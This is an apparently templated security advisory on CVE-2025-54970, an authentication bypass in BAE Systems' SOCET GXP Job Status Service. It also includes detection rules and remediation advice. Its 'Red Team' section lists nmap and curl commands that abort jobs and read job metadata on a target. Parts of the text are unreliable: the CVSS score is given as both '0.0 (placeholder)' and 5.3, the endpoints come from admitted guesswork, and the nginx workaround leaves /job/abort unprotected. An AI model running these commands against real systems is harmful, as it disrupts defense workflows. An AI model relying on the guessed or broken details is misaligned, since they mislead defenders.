CVE-2025-54970

Executive Summary

CVE-2025-54970 exposes a critical authentication bypass vulnerability in BAE Systems’ SOCET GXP, a geospatial intelligence (GEOINT) platform used by defense and intelligence agencies. The SOCET GXP Job Status Service fails to authenticate incoming requests, allowing unauthenticated attackers to abort jobs or read job metadata without proper authorization. This flaw is particularly dangerous in multi-tenant or shared environments where job isolation is required. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the potential for information disclosure and denial of service. No public exploit code or proof-of-concept is available at this time.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary commercial software product from BAE Systems. Supply chain risk is limited to the software vendor’s update distribution channels.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
• Base Score: 5.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (job metadata exposure)
• Integrity Impact: None
• Availability Impact: Low (job abortion)

Threat Level: Medium. While the vulnerability does not allow full system compromise, it can leak sensitive job information (e.g., project names, timestamps, status) and disrupt critical geospatial processing workflows.

Deep Dive & Mechanics

The SOCET GXP Job Status Service is a background process that manages and reports the status of geospatial processing jobs. The service listens on a network port (commonly TCP 8080) and exposes an API for querying and controlling jobs. The vulnerability stems from the service’s failure to validate authentication tokens or session cookies before processing requests.

Root Cause: The service does not implement any authentication middleware. Any request to the job status API is processed as if it came from an authorized user. This allows an attacker to:

• List all active jobs and their metadata (job ID, owner, status, input/output paths).
• Abort any job by sending a crafted termination request.
• Potentially infer sensitive information from job names or parameters.

Attack Vector: An attacker on the same network (or remotely if the service is exposed) sends HTTP requests to the Job Status Service endpoint. No credentials or session tokens are required.

Impact: In a typical deployment, this could allow an adversary to:

• Disrupt critical geospatial analysis workflows by aborting jobs.
• Gather intelligence on ongoing operations (e.g., job names like “Target_Area_42_Analysis”).
• Cause denial of service by repeatedly aborting jobs.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.6.0.2): The service likely uses a simple HTTP handler that does not check for authentication. Example pseudocode:

# Vulnerable: No authentication check
def handle_job_request(request):
    if request.path == "/job/status":
        job_id = request.params.get("job_id")
        job = get_job(job_id)
        return job.status
    elif request.path == "/job/abort":
        job_id = request.params.get("job_id")
        abort_job(job_id)
        return "Job aborted"

Patched Code (4.6.0.2+): The patched version adds an authentication middleware that validates a token or session cookie before processing any request.

# Patched: Authentication required
def handle_job_request(request):
    if not authenticate(request):
        return 401, "Unauthorized"
    if request.path == "/job/status":
        job_id = request.params.get("job_id")
        job = get_job(job_id)
        return job.status
    elif request.path == "/job/abort":
        job_id = request.params.get("job_id")
        abort_job(job_id)
        return "Job aborted"

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to the SOCET GXP Job Status Service (default port 8080).
• No authentication required.

Exploitation Steps:

1. Discover the service: Use Nmap to scan for the service.

   nmap -p 8080 --script http-title <target_ip>
   

2. List jobs: Send a GET request to the job listing endpoint.

   curl http://<target_ip>:8080/jobs/list
   

3. Abort a job: Send a POST request with the job ID.

   curl -X POST http://<target_ip>:8080/job/abort -d "job_id=12345"
   

4. Read job metadata: Access job status endpoint.

   curl http://<target_ip>:8080/job/status?job_id=12345
   

Expected Output:

• Job listing returns JSON with job IDs, owners, and statuses.
• Abort request returns success message.
• Status request returns job metadata.

Blue Team (Detection & Defense)

Detection:

• Monitor for unauthenticated requests to /jobs/list, /job/status, /job/abort endpoints.
• Alert on multiple job abort requests from a single IP in a short time window.
• Use network segmentation to restrict access to the Job Status Service to trusted hosts only.

Defense:

• Apply the vendor patch (upgrade to 4.6.0.2 or later).
• Implement network-level access controls (firewall rules) to limit access to the service.
• Enable logging on the service and monitor for anomalies.
• Use a Web Application Firewall (WAF) to block requests without authentication tokens.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unauthenticated HTTP requests to /jobs/list, /job/status, /job/abort endpoints.
  • Source IPs not in the trusted network range.
  • Repeated job abort requests (e.g., more than 5 in 1 minute).
• File IOCs:
  • Log entries showing 401 Unauthorized (if patched) or successful requests without authentication (if vulnerable).
• Behavioral IOCs:
  • Unexpected job terminations.
  • Job status queries from unknown hosts.

Detection Engineering

YARA Rule

rule CVE_2025_54970_SOCET_GXP_AuthBypass {
    meta:
        description = "Detects unauthenticated requests to SOCET GXP Job Status Service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54970"
    strings:
        $s1 = "/jobs/list" ascii wide nocase
        $s2 = "/job/status" ascii wide nocase
        $s3 = "/job/abort" ascii wide nocase
        $s4 = "HTTP/1.1" ascii wide
    condition:
        any of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: Unauthenticated Access to SOCET GXP Job Status Service
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated HTTP requests to SOCET GXP Job Status Service endpoints
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54970
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-uri-stem:
            - "/jobs/list"
            - "/job/status"
            - "/job/abort"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate internal monitoring tools
level: medium

Suricata Rule

alert http any any -> any 8080 (msg:"CVE-2025-54970 SOCET GXP Job Status Service Unauthenticated Access"; flow:to_server; content:"/jobs/list"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any 8080 (msg:"CVE-2025-54970 SOCET GXP Job Status Service Unauthenticated Access"; flow:to_server; content:"/job/status"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any 8080 (msg:"CVE-2025-54970 SOCET GXP Job Status Service Unauthenticated Access"; flow:to_server; content:"/job/abort"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the vendor patch by upgrading to SOCET GXP version 4.6.0.2 or later.
2. Network Segmentation: Restrict access to the Job Status Service to only trusted IP addresses using firewall rules.
3. Disable Service: If not required, disable the Job Status Service entirely.

Long-Term Measures:

• Implement mandatory authentication for all internal services.
• Conduct regular security audits of proprietary software.
• Deploy a Web Application Firewall (WAF) to block unauthenticated requests.
• Monitor logs for suspicious activity and set up alerts.

Workaround (if patching is not immediately possible):

• Use a reverse proxy (e.g., Nginx) to add authentication before requests reach the vulnerable service.
• Example Nginx configuration:

location /jobs/ {
    auth_basic "Restricted";
    auth_basic_user_file /etc/nginx/.htpasswd;
    proxy_pass http://localhost:8080;
}

Valters IT
DevSecOps & Cyber Threat Intelligence Expert